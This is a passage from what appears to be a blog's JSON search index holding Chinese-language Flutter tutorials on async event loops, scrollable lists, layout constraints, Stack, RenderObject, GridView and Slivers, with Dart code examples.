​\t这里我们还是要提醒一下，只有在出现需要等待的事件时，EventLoop机制才能发挥作用。如果卡顿是因为计算量过大造成的，那么只有多开几个Isolate（线程）来解决了。\n1.2 运行时机 直接运行：Future.sync()、Future.value()、_.then()\nMicrotask：scheduleMicrotask()、Future.microtask()、_completed.then()\nEvent：Future()、Future.delayed()\n1.3 运行时机举例 直接运行\nvoid main(){ print(\u0026#34;1\u0026#34;); Future.value(func()); print(\u0026#34;3\u0026#34;); } String func(){ print(\u0026#34;2\u0026#34;); return \u0026#34;\u0026#34;; }//输出结果：123 void main(){ print(\u0026#34;1\u0026#34;); Future.","title":"Flutter 异步全解"},{"content":"一、基本Scrollable 1.1 Recycle ​\t类似RecyclerView，ListView会回收划出屏幕的控件，同时也会预先加载下面的几条。Flutter的回收可以使其被重复利用，也就是Recycle。缓冲区大小不是根据个数而是根据屏幕高度，大约是1/3屏幕，上下都有，可以用cacheExtent调整缓冲区高度。\n1.2 分割线 ​\t可以用奇偶数来做Divider()，但这不是一个很好的方法：index会偏移。可以使用ListView.seprated来做分割线。\n1.3 滚动条跳转（固定高度） ​\t指定Scrollbar()可以实现滚动条效果，但如果不添加itemCount属性，则列表无限长，即使滚动，滚动条也不会有反应；如果不指定itemExtent（这是一个主轴方向的紧约束），首先大幅跳转时会损失性能，其次滚动条可能会抖动。\n1.4 Padding 在itemBuilder内加Padding，在视觉上会有padding，但在空白处可以滑动滚动； 在ListView.builder外加Padding，在视觉上有padding，空白处不可滑动； 设置ListView.builder内的padding属性，会在整个ListView上下留白，而不是元素间的空隙。可以用EdgeInsets.only(bottom: 200)来解决底部项目被FAB挡住的问题。 1.5 空白时显示其他控件 body: false ? Text(\u0026#34;加载中\u0026#34;) : ListView.builder 1.6 ScrollController 在ListView.builder中设置controller: _controller。例如，设置按下AppBar自动跳到顶部，可以使用以下代码：\nAppBar( title: GestureDetector( onTap: () { //_controller.jumpTo(0.0); _controller.animatedTo(-20.0, duration: ,curve: ); //传入负值，出现到顶上再弹回的效果 }\t//跳转 ) ) 有多个ListView时，也应设置对应的controller。\n1.7 physics属性 ListView.builder的physics属性可以用来设置安卓或iOS风格的到顶回弹。例如physics: BouncingScrollPhysics()就是iOS风格的顶部回弹。\n二、滑动事件 2.1 Scrollbar ​\t使用iOS风格的Scrollbar可以使用CupertinoScrollbar()。同时设置isAlwaysShown和controller属性可以一直显示scrollbar。\n2.2 RefreshIndicator下拉刷新 可以设置color和backgroundColor等属性设置下拉刷新指示器的样式。RefreshIndicator和Scrollbar可以互相嵌套，不要求顺序。\n2.3 拦截滚动事件 使用NotificationListener，在onNotication返回true拦截事件。\n2.4 Dismissible ​\t在itemBuilder内返回一个Dismissible()，这里的key属性是必传的，例如UniqueKey()，设置onDismissed可以查看滑动方向并设置滑动后的操作，例如从列表中删除。\n​\t在Dismissible()中有background或secondaryBackground可以传入一个widget，分别对应左划右划的效果。\n​\t设置confirmDismiss为一个async函数，返回false表明滑动后不删除。\n​\t设置onResize属性可以在该项消失、屏幕开始变化时不停地调用；movementDuration可以设置滑动的时常，movement后就onResize；dismissThreshold设置滑动多少后消除；direction可以设置滑动方向。\n三、其他控件 3.1 3D转轮滚动效果——ListWheelScrollView offAxisFraction：偏移数值 diameterRatio：直径比例 overAndUnderCenterOpacity：设置上下不透明度 magnification：放大倍数 physics：滚动物理效果 onSelectedItemChanged：选择的内容变化 使用RotatedBox来进行横向滚动 3.2 滚动页面——PageView pageSnapping：划到中间可以停住 scrollDirection：设置滚动方向 onPageChanged 3.3 ReorderableListView children：List.generate(\u0026hellip;)\nonReorder: (int oldIndex,int newIndex)：移动后的新位置和旧位置\n这里有一个小坑，应该这样写：\nonReorder: (int oldIndex,int newIndex){ if(newIndex \u0026gt; oldIndex) newIndex--; //...继续写其他的业务逻辑 } 在每个ListItem中必须设置单独的key，否则会报错，因为它的排序属性。\nReorderableListView( children: List.generate( 20, (index) =\u0026gt; Text(\u0026#34;$index\u0026#34;,key: UniqueKey()), ) ) 3.4 SingleChildScrollView 这个组件一般不推荐用，除非是一般不需要滑动的组件，在屏幕不够大、显示不下的情况下偶尔滑动。\n","permalink":"https://widegram.com/2021/11/flutter-scrollable/","summary":"一、基本Scrollable 1.1 Recycle ​\t类似RecyclerView，ListView会回收划出屏幕的控件，同时也会预先加载下面的几条。Flutter的回收可以使其被重复利用，也就是Recycle。缓冲区大小不是根据个数而是根据屏幕高度，大约是1/3屏幕，上下都有，可以用cacheExtent调整缓冲区高度。\n1.2 分割线 ​\t可以用奇偶数来做Divider()，但这不是一个很好的方法：index会偏移。可以使用ListView.seprated来做分割线。\n1.3 滚动条跳转（固定高度） ​\t指定Scrollbar()可以实现滚动条效果，但如果不添加itemCount属性，则列表无限长，即使滚动，滚动条也不会有反应；如果不指定itemExtent（这是一个主轴方向的紧约束），首先大幅跳转时会损失性能，其次滚动条可能会抖动。\n1.4 Padding 在itemBuilder内加Padding，在视觉上会有padding，但在空白处可以滑动滚动； 在ListView.builder外加Padding，在视觉上有padding，空白处不可滑动； 设置ListView.builder内的padding属性，会在整个ListView上下留白，而不是元素间的空隙。可以用EdgeInsets.only(bottom: 200)来解决底部项目被FAB挡住的问题。 1.5 空白时显示其他控件 body: false ? Text(\u0026#34;加载中\u0026#34;) : ListView.builder 1.6 ScrollController 在ListView.builder中设置controller: _controller。例如，设置按下AppBar自动跳到顶部，可以使用以下代码：\nAppBar( title: GestureDetector( onTap: () { //_controller.jumpTo(0.0); _controller.animatedTo(-20.0, duration: ,curve: ); //传入负值，出现到顶上再弹回的效果 }\t//跳转 ) ) 有多个ListView时，也应设置对应的controller。\n1.7 physics属性 ListView.builder的physics属性可以用来设置安卓或iOS风格的到顶回弹。例如physics: BouncingScrollPhysics()就是iOS风格的顶部回弹。\n二、滑动事件 2.1 Scrollbar ​\t使用iOS风格的Scrollbar可以使用CupertinoScrollbar()。同时设置isAlwaysShown和controller属性可以一直显示scrollbar。\n2.2 RefreshIndicator下拉刷新 可以设置color和backgroundColor等属性设置下拉刷新指示器的样式。RefreshIndicator和Scrollbar可以互相嵌套，不要求顺序。\n2.3 拦截滚动事件 使用NotificationListener，在onNotication返回true拦截事件。\n2.4 Dismissible ​\t在itemBuilder内返回一个Dismissible()，这里的key属性是必传的，例如UniqueKey()，设置onDismissed可以查看滑动方向并设置滑动后的操作，例如从列表中删除。\n​\t在Dismissible()中有background或secondaryBackground可以传入一个widget，分别对应左划右划的效果。\n​\t设置confirmDismiss为一个async函数，返回false表明滑动后不删除。","title":"Flutter Scrollable教程"},{"content":"一、初识布局 1.1 约束（Terminology）的向下传递 ​\tFlutter从一个runApp函数开始运行，例如：\nvoid main() { runApp(//1.向下Container传递紧约束：屏幕尺寸 Container(//2.向下Center传递约束，由于自身的w和h无效，因此原封不动地传递 width: 0.04,//1.来自App的约束使width失效，w=页面宽度 height: 0.08,//1.来自App的约束使height失效，h=页面高度 color: Colors.red[200], child: Center(//3.向下Container传递松约束，下限设为0 child: Container(//4.向下FlutterLogo传递紧约束：200\u0026lt;=h,w\u0026lt;=200 color: Colors.white, width: 200,//3.满足Center的约束，w=200 height: 200,//3.满足Center的约束，h=200 child: FlutterLogo( size: 10//不满足约束条件，失效，size=200 ), ), ) )); } 上面这段代码的运行结果如下图：\n​\t通过读取LayoutBuilder的constrants参数，我们可以得到来自父组件的约束区间：\nLayoutBuilder(builder: (context, constrants) { print(\u0026#34;constrants: $constrants\u0026#34;); return FlutterLogo(size: 10); }), ​\t我们可以通过Align系列控件来放松约束，例如使用Center。\n1.2 SizedBox和FractionallySizedBox ​\t我们可以使用SizedBox和FractionallySizedBox来确定组件的大小，其中后者使用一个比例关系来约束。\n​\t但如果SizedBox本身受到一个紧约束，那么它也无法突破。\n​\t目前我们只能使用Align系列Widgets（比如Center）来将紧约束转换为松约束，例如将200\u0026lt;=h,w\u0026lt;=200转化为0\u0026lt;=h,w\u0026lt;=200。\nContainer( //向下SizedBox传递紧约束：200\u0026lt;=h,w\u0026lt;=200 width: 200, height: 200, child: SizedBox( //收到Container的紧约束 height: 100,//失效 width: 100,//失效 child: FlutterLogo(size: 10), //不满足约束条件，失效，size=200 ) 1.3 ConstrainedBox Container( //向下传递紧约束：h,w=200 color: Colors.black, width: 200, height: 500, child: Center(//向下传递松约束：0\u0026lt;=h,w\u0026lt;=200 child: ConstrainedBox(//重新定义约束区间（同样，收到上级约束的限制） constraints: const BoxConstraints( minWidth: 60, maxWidth: double.infinity,//无限大，被上级限制为200 minHeight: 60, maxHeight: 120, ), child: LayoutBuilder(builder: (context, constraints) { print(\u0026#34;$constraints\u0026#34;); //flutter: BoxConstraints(60.0\u0026lt;=w\u0026lt;=120.0, 60.0\u0026lt;=h\u0026lt;=120.0) return const FlutterLogo(size: 150);//150被限制回120 }), ), ), ), ​\tConstrainedBox可以重新定义约束区间，但新定义的约束区间必须在父约束之内。我们可以使用loosen()函数取消minWidth和minHeight，也就是将它们设置为0.\nContainer( //向下传递紧约束：h,w=200 color: Colors.black, width: 200, height: 500, child: Center(//向下传递松约束：0\u0026lt;=h,w\u0026lt;=200 child: ConstrainedBox(//重新定义约束区间（同样，收到上级约束的限制） constraints: const BoxConstraints( minWidth: 60, maxWidth: double.infinity,//无限大，被上级限制为200 minHeight: 60, maxHeight: 120, ).loosen(),\t//变为松约束（下限为0） child: LayoutBuilder(builder: (context, constraints) { print(\u0026#34;$constraints\u0026#34;); //flutter: BoxConstraints(0.0\u0026lt;=w\u0026lt;=120.0, 0.0\u0026lt;=h\u0026lt;=120.0) return const FlutterLogo(size: 150);//150被限制回120 }), ), ), ), 紧约束：最大值等于最小值的约束； 松约束：最小值等于0的约束； 既是松约束，又是紧约束的约束：最大值与最小值都是0的约束。 同时，\n有界约束：有设置最大值的约束； 无界约束：最大值是无限大的约束，例如无限长的ListView。 1.4 Padding Padding组件可以收缩Container的紧约束，但仍向下传递一个紧约束。\nContainer( color: Colors.black, width: 300, height: 300, child: Padding( padding: const EdgeInsets.all(20.0), //上下同时设置20的边框，收缩了Container的紧约束 child: LayoutBuilder(builder: (context, constraints) { print(\u0026#34;$constraints\u0026#34;); //BoxConstraints(w=260.0, h=260.0)，这里仍然是一个紧约束 return const FlutterLogo(size: 150);//150仍然失效 }), ), ), 二、弹性布局——Column和Flexible 2.1 Column和Directionality Scaffold( body: Center( child: Container( color: Colors.red[200], width: 300, child: Column( mainAxisAlignment: MainAxisAlignment.spaceAround, //主轴环绕留白 crossAxisAlignment: CrossAxisAlignment.start, //交叉轴：从起始处（一般从左到右） //某些语言的阅读顺序是从右向左，可以使用Directionality调整 children: const [ FlutterLogo(size:150), FlutterLogo(size: 50), FlutterLogo(size: 150), ],)), ), ) Column还有一些其他属性，如mainAxisSize和CrossAxisAlignment.stretch：\nScaffold( body: Center( child: Container( color: Colors.red[200], child: Column( mainAxisSize: MainAxisSize.min,//设置主轴方向的长度，默认max mainAxisAlignment: MainAxisAlignment.spaceAround, crossAxisAlignment: CrossAxisAlignment.stretch, //交叉轴：拉伸至与父限制一致（类型交叉轴的expanded） children: const [ FlutterLogo(size:50), FlutterLogo(size: 50), FlutterLogo(size: 50), ],)), ), ) 2.2 Expanded 使用Expanded组件尽可能多地填满剩余空间：\nCenter( child: Container( color: Colors.red[200], child: Column( //交叉轴：拉伸至与父限制一致（类型交叉轴的expand） children: [ FlutterLogo(size:50), FlutterLogo(size: 50), Expanded(child: Container(color: Colors.black)), FlutterLogo(size: 50), ],)), ), 通过指定flex参数设置两个Expanded之间的比例：\nCenter( child: Container( color: Colors.red[200], child: Column( //交叉轴：拉伸至与父限制一致（类型交叉轴的expand） children: [ FlutterLogo(size:50), Expanded(flex:1, child: Container(color: Colors.green)), FlutterLogo(size: 50), Expanded(flex:2, child: Container(color: Colors.green)), FlutterLogo(size: 50), ],)), ) Expanded组件的本质是Flexible组件，例如：\nExpanded( child: Container(color: Colors.green) ), //等价于 Flexible( flex:1, child: Container(color: Colors.green) ), 使用Flexible时，Flutter首先会渲染Column中固定的项目，再用剩余的空间分比例占取。\nFlutter在布局其中的非弹性控件时（例如FlutterLogo），会先假装自己是一个无界约束，例如\nColumn( children: [ LayoutBuilder(builder: (_, con) { print(\u0026#39;$con\u0026#39;); //flutter: BoxConstraints(0.0\u0026lt;=w\u0026lt;=375.0, 0.0\u0026lt;=h\u0026lt;=Infinity) return FlutterLogo(size: 50); }), Expanded(flex: 1, child: Container(color: Colors.green)), FlutterLogo(size: 50), Expanded(flex: 2, child: Container(color: Colors.green)), FlutterLogo(size: 50), ], ) 这是由于Column没有办法将自己受到的限制提前告知FlutterLogo，为了尽可能地不限制FlutterLogo，Column会传入一个Infinity“假装”自己是一个无界控件，但如果真的超出了限制，则会提示错误。\n2.3 Column中的ListView 倘若我们直接在Column中插入ListView，则会提示错误：\nColumn( children: [ FlutterLogo(size: 50), ListView(children: [\t//报错！ for(int i=0;i\u0026lt;10;i++) Text(\u0026#34;ListView item $i\u0026#34;) ]), FlutterLogo(size: 50), ], ) 正如我们上面提到的那样，Column在渲染时会假装自己是一个无界控件。Column的渲染分成两个阶段：\n渲染固定组件（非Flexible组件）\n将剩余的空间分配给children中的各个弹性（也就是Flexible）组件\n​\t而在上面的代码中，ListView不是一个Flexible组件，所以它参与第一个阶段的渲染，它发现自己受到的约束是Infinity（请参考2.2节的最后一段代码）。而ListView本身也是一个Infinity组件，于是它就真的使用Infinity的空间，超出了Column实际受到的限制（比如：屏幕尺寸），于是就会产生内容溢出的错误。\n​\t因此，如果我们需要在Column中使用ListView，就需要给予ListView限制，可以用Expanded包裹ListView：\nColumn( children: [ FlutterLogo(size: 50), Expanded(\t//使用Expanded包裹ListView child: ListView(children: [ for(int i=0;i\u0026lt;100;i++) Text(\u0026#34;ListView item $i\u0026#34;) ]), ), FlutterLogo(size: 50), ], ) 三、层叠组件——Stack 3.1 Stack组件 用下面一段代码展示Stack的作用：\nCenter( child: Container( color: Colors.grey, //可以看到Stack本身的大小，受到children的影响 child: Stack( alignment: Alignment(0,0),//等价于Alignment.center children: [ FlutterLogo(size: 100), Text(\u0026#34;111\u0026#34;,style: TextStyle(fontSize: 150)), Positioned( left: 0, top: 0, child: Container(color: Colors.red,width: 30,height: 30) ), ],), ), ) 3.2 Stack的渲染过程 ​\t与Column组件类似，Stack中的成员分成两类：有位置的（也就是Positioned）和没有位置的。\n​\t在渲染的过程中Stack如何确定其自身的大小呢？\nStack会首先将没有位置的组件全部渲染出来，并以此确定其自身的大小； 然后再按照位置渲染Positioned组件。 ​\t我们再看一个例子：\nContainer( color: Colors.grey, child: Stack( alignment: Alignment(0,0), children: [ Positioned(\t//Stack本身的大小与Positioned组件无关！ left: 0, bottom: 0, child: FlutterLogo(size: 300) ), Text(\u0026#34;111\u0026#34;,style: TextStyle(fontSize: 150)), Positioned( left: 0, top: 0, child: Container(color: Colors.red,width: 30,height: 30) ), ],), ) 也因此，FlutterLogo没有被完整渲染出来：\n​\t​\t我们可以指定fit属性来将父组件的约束传给下级组件。不是让Stack本身扩展，而是让其中的children受到Stack上级组件的约束，Stack一般也会受到影响，但那只是一个副作用：\nStack( fit: StackFit.expand, ... ), Container( constraints: BoxConstraints( minWidth:30, ), child: Stack( fit: StackFit.passthrough, //直接将上级的非紧约束传给children ) ) 3.3 Positioned组件 首先，Positioned会强行要求其中的位置信息达成，也就是间接地确定了其中控件的大小：\nContainer( color: Colors.grey, child: Stack( alignment: Alignment(0,0), children: [ Positioned( left: 0,\t//假如我们既设置了left，又设置了right，会怎么样呢？ right: 0, child: Container(color: Colors.blue, width: 30, height: 30) //答案是：Container本身的w和h将会失效！ ), Text(\u0026#34;111\u0026#34;,style: TextStyle(fontSize: 150)), Positioned( left: 0, top: 0, child: Container(color: Colors.red,width: 30,height: 30) ), ],), ), ​\t另外，如果我们定义了Positioned，但却没有给它传递任何信息，那么Stack就会将Positioned忽略，此时Positioned里面的组件将会参与第一阶段的渲染，也就是会影响Stack本身的大小。\n​\t我们可以通过指定clipBehavior属性来确定超出部分是否会被裁减：\nContainer( color: Colors.grey, //可以看到Stack本身的大小，受到children的影响 child: Stack( clipBehavior: Clip.none,//默认Clip.hardEdge //等价于旧版本的overflow: Overflow.visible, alignment: Alignment(0,0),//等价于Alignment.center children: [ Positioned( left: 0, width: 300, //溢出边框啦！ child: Container(color: Colors.blue, width: 30, height: 30) ), Text(\u0026#34;111\u0026#34;,style: TextStyle(fontSize: 150)), Positioned( left: 0, top: 0, child: Container(color: Colors.red,width: 30,height: 30) ), ],), ), ​\t需要注意的是，如果控件的尺寸超出了Stack本身的尺寸，那么在Stack外的点击事件将不会生效。因为那里的点击事件不会发送给Stack，那么也就不会传送给Stack的children。\n​\t另外，即使设置了Clip.hardEdge，对于Transform指定的变换位移，超出部分依然不会被裁减，这也是因为Flutter的优化机制导致的。\n四、再谈Container 4.1 Container语法糖 ​\t一般来说，Container会传递一个紧约束，我们可以通过Align系列组件放松约束：\n//很繁琐 Container( color: Colors.orange, width: 200, height: 200, child: const Padding( padding: EdgeInsets.all(24.0), child: Align( alignment: Alignment.topLeft, child: FlutterLogo(), ), ), ) ​\t这样做实在太繁琐，我们可以直接使用Container中的padding和alignment属性，这是Flutter提供的语法糖：\n//与上面的代码等价 Container( color: Colors.orange, width: 200, height: 200, padding: const EdgeInsets.all(24.0), alignment: Alignment.topLeft, child: const FlutterLogo(), ) 另外，还有一些其他的语法糖，例如color、decoration、foregroundDecoration、constraints对应ColoredBox、DecoratedBox、ConstrainedBox，height/width对应SizedBox。\ncolor =\u0026gt; ColoredBox decoration / foregroundDecoration =\u0026gt; DecoratedBox constraints =\u0026gt; ConstrainedBox clipBehavior =\u0026gt; Clip height/width =\u0026gt; SizedBox margin =\u0026gt; Padding 添加在Container外 padding =\u0026gt; Padding 添加在child外，Container内 transform =\u0026gt; Transform组件 4.2 Container行为 ​\t一般来说，如果给Container指定一个child，那么Container的大小就会与其child一致，除非您设置了alignment属性。否则就会直接占满父组件。\n​\t而如果Container在诸如Column这样主轴无界的组件内，那么它的该轴上的长度会被调整为0。\n​\t使用margin属性时也会影响Container的大小。\n​\tContainer如何知道自己所在的组件是否有界呢？这里可以参考LimitedBox组件，当出现某个尺寸无穷大的情况，会自动缩减成maxHeight，而如果不是infinity的情况，该轴的尺寸则可以超过maxHeight，也就是LimitedBox此时无任何效果，因此，这里的maxHeight其实可以等同于Placeholder中的fallbackHeight属性。\n​\t更多信息，可以参考Container的源代码。\n​\n五、CustomMultiChildLayout 5.1 制作一个自己的Stack 我们可以使用CustomMultiChildLayout组件自制一个简易的Stack：\nCustomMultiChildLayout( delegate: MyDelegate(), children: [ //标记其中的组件，使得MyDelegate中可以找到这些组件 //LayoutID与Positioned类似，只能在这里使用 //* 这里的Z-Order由children顺序决定，与MyDelegate无关！ LayoutId(id: 1, child: FlutterLogo()), LayoutId(id: 2, child: FlutterLogo()), ], ) 自定义一个MyDelegate类作为代理：\nclass MyDelegate extends MultiChildLayoutDelegate { @override void performLayout(Size size) { if (hasChild(1)) { final size1 = layoutChild( 1, //1号组件layout，并得到它的size（会想：向下传递限制，向上传递大小） BoxConstraints.tight(const Size(100, 100)) //向下传递限制 ); positionChild(1, Offset.zero); //将1号组件放在左上角 } if (hasChild(2)) { final size2 = layoutChild( 2, //2号组件layout，并得到它的size（会想：向下传递限制，向上传递大小） BoxConstraints.tight(const Size(200, 200)) //向下传递限制 ); positionChild(2, Offset.zero); //将2号组件放在左上角 } } //返回true表示永远需要重新更新，这个函数用作优化，这里暂不考虑 @override bool shouldRelayout(_) =\u0026gt; true; } #### 5.2 简易Column 我们可以通过类似方法自制一个简易的Column： positionChild(2, Offset(0,size1.height)); //将2号组件放在1号组件下面：类似Column 同样，我们可以设置BoxConstraints.loost(size)来传递松约束：\nvoid performLayout(Size size) { if (hasChild(1)) { final size1 = layoutChild( 1, //1号组件layout，并得到它的size（会想：向下传递限制，向上传递大小） BoxConstraints.loost(size) //向下传递限制 ); positionChild(1, Offset.zero); //将1号组件放在左上角 } if (hasChild(2)) { final size2 = layoutChild( 2, //2号组件layout，并得到它的size（会想：向下传递限制，向上传递大小） BoxConstraints.tight(const Size(200, 200)) //向下传递限制 ); positionChild(2, Offset.zero); //将2号组件放在左上角 } } 5.3 MyDelegate的局限性 首先，MyDelegate无法在绘制时获得其子组件的大小。通过继承MultiChildLayoutDelegate的Size getSize(BoxConstraints c)方法，我们可以得到上级组件给我们的限制，也可以向上传递我们需要的Size大小，但我们并不能通过这个函数获得子组件的大小，也就是说我们无法使得MyDelegate自适应子组件的大小。 我们无法在performLayout函数中“无中生有”，我们只能在其中画出children数组中已经存在的组件，不能在这里创造出一个新的组件。 为了解决上述两个问题，我们可以使用RenderObject\n六、布局原理——RenderObject 6.1 简述 ​\t我们知道，平常我们在写的Stateless、Stateful组件，其实并没有将自己画在屏幕上的能力，它们只是定义了一个build方法而已。真正将内容写在屏幕上的，其实是RenderObject。\n​\t我们举一个例子来说明：\nContainer( color: Colors.grey, child: MyRenderBox( child: const FlutterLogo(size: 200), ), ), class MyRenderBox extends SingleChildRenderObjectWidget { MyRenderBox({required Widget child}) : super(child: child); @override RenderObject createRenderObject(BuildContext context) { return RenderMyRenderBox(); } } class RenderMyRenderBox extends RenderBox with RenderObjectWithChildMixin { //渲染pipeline：performLayout、paint、composition @override void performLayout() { //处理布局 child!.layout(constraints, //也可以自定义紧约束 parentUsesSize: true); //作为父组件需要使用子组件的size，默认是false //优化用：如果不需要，子组件改动时就可以不必继续遍历渲染父组件 //size = const Size(300, 300); size = (child as RenderBox).size; } @override void paint(PaintingContext context, Offset offset) { //处理绘制 context.paintChild(child!, offset + Offset(120,120)); //FlutterLogo跑到MyRenderBox外面去了！ //context.canvas.draw** //可以在这里画任意图形！ //context.pushOpacity\t//Opacity原理：使用push增加一个图层（资源耗费多） } } ​\t在上述代码中，performLayout和paint是两次不同的遍历过程（flutter一般是深度优先），因此这里的FlutterLogo可以跑到MyRenderBox外面去！\n​\tpaintChild函数是非常自由的，我们可以选择canvas.draw或者push系列函数做更多想要的事情，也可以干脆不做任何事。\n6.2 Hot Reload原理——updateRenderObject 通过自制一个ShadowRenderBox，我们可以实现阴影效果：\nContainer( color: Colors.grey, child: ShadowBox( distance: 20.0, child: const Icon(Icons.category, size: 80), ), ), class ShadowBox extends SingleChildRenderObjectWidget { final double distance; ShadowBox({required Widget child, required this.distance}) : super(child: child); @override RenderObject createRenderObject(BuildContext context) { return RenderShadowBox(distance: distance); } @override void updateRenderObject( BuildContext context, covariant RenderShadowBox renderObject) { //如果不定义这个函数，热重载时会根据key和类型判断元素是否改变，如果没有改变，则继续使用原来的renderObject，distance的值不会改变 renderObject.distance = distance; } } /* 也可以使用 class RenderShadowBox extends RenderProxyBox 此时，不再performLayout()和paint函数不再必须，只需要写我们需要的那个函数即可 */ class RenderShadowBox extends RenderBox with RenderObjectWithChildMixin { double distance; RenderShadowBox({required this.distance}); @override void performLayout() { //处理布局 child!.layout(constraints, parentUsesSize: true); size = (child as RenderBox).size; } @override void paint(PaintingContext context, Offset offset) { context.paintChild(child!, offset); //插入一个新的半透明图层 context.pushOpacity(offset, 127, (context, offset) { context.paintChild(child!, offset + Offset(distance, distance)); }); } } 上面的RenderShadowBox可以简单地写成下面的形式：\nclass RenderShadowBox extends RenderProxyBox { double distance; RenderShadowBox({required this.distance}); @override void paint(PaintingContext context, Offset offset) { context.paintChild(child!, offset); context.pushOpacity(offset, 127, (context, offset) { context.paintChild(child!, offset + Offset(distance, distance)); }); } } ​\t另外，也可以设置DebugOverflowIndicatorMixin来定义超出界限后的那个黑黄相间的错误框。那个overflow组件也只是通过paintOverflowIndicator()手动绘制的而已。\n","permalink":"https://widegram.com/2021/11/flutter-layout/","summary":"一、初识布局 1.1 约束（Terminology）的向下传递 ​\tFlutter从一个runApp函数开始运行，例如：\nvoid main() { runApp(//1.向下Container传递紧约束：屏幕尺寸 Container(//2.向下Center传递约束，由于自身的w和h无效，因此原封不动地传递 width: 0.04,//1.来自App的约束使width失效，w=页面宽度 height: 0.08,//1.来自App的约束使height失效，h=页面高度 color: Colors.red[200], child: Center(//3.向下Container传递松约束，下限设为0 child: Container(//4.向下FlutterLogo传递紧约束：200\u0026lt;=h,w\u0026lt;=200 color: Colors.white, width: 200,//3.满足Center的约束，w=200 height: 200,//3.满足Center的约束，h=200 child: FlutterLogo( size: 10//不满足约束条件，失效，size=200 ), ), ) )); } 上面这段代码的运行结果如下图：\n​\t通过读取LayoutBuilder的constrants参数，我们可以得到来自父组件的约束区间：\nLayoutBuilder(builder: (context, constrants) { print(\u0026#34;constrants: $constrants\u0026#34;); return FlutterLogo(size: 10); }), ​\t我们可以通过Align系列控件来放松约束，例如使用Center。\n1.2 SizedBox和FractionallySizedBox ​\t我们可以使用SizedBox和FractionallySizedBox来确定组件的大小，其中后者使用一个比例关系来约束。\n​\t但如果SizedBox本身受到一个紧约束，那么它也无法突破。\n​\t目前我们只能使用Align系列Widgets（比如Center）来将紧约束转换为松约束，例如将200\u0026lt;=h,w\u0026lt;=200转化为0\u0026lt;=h,w\u0026lt;=200。\nContainer( //向下SizedBox传递紧约束：200\u0026lt;=h,w\u0026lt;=200 width: 200, height: 200, child: SizedBox( //收到Container的紧约束 height: 100,//失效 width: 100,//失效 child: FlutterLogo(size: 10), //不满足约束条件，失效，size=200 ) 1.","title":"Flutter 布局全解"},{"content":"GridView import \u0026#39;package:flutter/material.dart\u0026#39;; void main() { runApp(const MyApp()); } class MyApp extends StatelessWidget { const MyApp({Key? key}) : super(key: key); // This widget is the root of your application. @override Widget build(BuildContext context) { return MaterialApp( title: \u0026#39;Flutter Demo\u0026#39;, theme: ThemeData( primarySwatch: Colors.blue, ), home: const MyHomePage(title: \u0026#39;Flutter Demo Home Page\u0026#39;), ); } } class MyHomePage extends StatefulWidget { const MyHomePage({Key? key, required this.title}) : super(key: key); final String title; @override State\u0026lt;MyHomePage\u0026gt; createState() =\u0026gt; _MyHomePageState(); } class _MyHomePageState extends State\u0026lt;MyHomePage\u0026gt; { @override Widget build(BuildContext context) { return Scaffold( appBar: AppBar( title: Text(widget.title), ), body: GridView.builder( gridDelegate: const SliverGridDelegateWithFixedCrossAxisCount( crossAxisCount: 4, //一行显示4个 childAspectRatio: 16 / 9 //方块比例 ), itemBuilder: (_, index)=\u0026gt;Container( color: Colors.primaries[index%Colors.primaries.length], )), floatingActionButton: FloatingActionButton( onPressed: () {}, tooltip: \u0026#39;Increment\u0026#39;, child: const Icon(Icons.add), ), ); } } ​\t使用SliverGridDelegateWithFixedCrossAxisCount时，屏幕一行显示的数量已经确定，但是当手机横过来时，就会出现不那么协调的情况，产生了格子的拉伸，而且没有起到显示更多内容的效果：\n此时我们可以使用SliverGridDelegateWithMaxCrossAxisExtent:\ngridDelegate: const SliverGridDelegateWithMaxCrossAxisExtent( maxCrossAxisExtent: 100, //一个方块最多显示100像素 childAspectRatio: 16 / 9, //方块比例 mainAxisSpacing: 4.0, //主轴间距 crossAxisSpacing: 2.0 //副轴间距 ) //这里也可以写成GridView.extent，直接指定maxCrossAxisExtent属性，可惜的是这样就不支持动态懒加载（builder）了 ","permalink":"https://widegram.com/2021/11/flutter-gridview/","summary":"GridView import \u0026#39;package:flutter/material.dart\u0026#39;; void main() { runApp(const MyApp()); } class MyApp extends StatelessWidget { const MyApp({Key? key}) : super(key: key); // This widget is the root of your application. @override Widget build(BuildContext context) { return MaterialApp( title: \u0026#39;Flutter Demo\u0026#39;, theme: ThemeData( primarySwatch: Colors.blue, ), home: const MyHomePage(title: \u0026#39;Flutter Demo Home Page\u0026#39;), ); } } class MyHomePage extends StatefulWidget { const MyHomePage({Key? key, required this.title}) : super(key: key); final String title; @override State\u0026lt;MyHomePage\u0026gt; createState() =\u0026gt; _MyHomePageState(); } class _MyHomePageState extends State\u0026lt;MyHomePage\u0026gt; { @override Widget build(BuildContext context) { return Scaffold( appBar: AppBar( title: Text(widget.","title":"Flutter GridView简介"},{"content":"一、初试Sliver 1.1 使用Sliver制作一个ListView ​\tListView的底层原理就是Sliver，我们可以用CustomScrollView先做出一个视窗（所谓视窗就是里面的内容比边框大），在其中使用SliverChildBuilderDelegate，而事实上，这也正是ListViewBuilder的底层做法。\nCustomScrollView(\t//定义一个视窗 slivers: [ SliverList(delegate: SliverChildBuilderDelegate((context, index) { return Container( height: 200, color: Colors.primaries[index%Colors.primaries.length], ); })) ], ) 1.2 更加灵活的ListView——加入任意Widget ​\t而使用Sliver，我们就可以实现更加灵活的功能，例如在顶部加入一个FlutterLogo：\nCustomScrollView( slivers: [ SliverToBoxAdapter(child: FlutterLogo(size:100),),\t//加入一个FlutterLogo SliverList( delegate: SliverChildBuilderDelegate((context, index) { //使用SliverChildBuilderDelegate实现动态加载（Builder） //delegate: SliverChildListDelegate对应不用Builder的ListView return Container( height: 200, color: Colors.primaries[index%Colors.primaries.length], ); })) ], ) 1.3 更加灵活的ListView——组合GridView ​\t我们也可以尝试组合GridView：\nCustomScrollView( slivers: [ /* 1. 用SliverToBoxAdapter包裹的普通Widget */ const SliverToBoxAdapter(child: FlutterLogo(size:100),), /* 2. 用SliverGrid表示的GridView */ SliverGrid( gridDelegate: const SliverGridDelegateWithFixedCrossAxisCount(crossAxisCount: 3), delegate: SliverChildBuilderDelegate((context, index) =\u0026gt; Container( color: Colors.primaries[index % Colors.primaries.length] ), childCount: 6, //也就是GridView中的itemCount ) ), /* 3. 用SliverList表示的ListViewer.builder */ SliverList( delegate: SliverChildBuilderDelegate((context, index) { return Container( height: 200, color: Colors.primaries[index%Colors.primaries.length], ); })), ], ) 二、其他的几个常用Sliver 2.1 使用itemExtent——SliverFixedExtentList 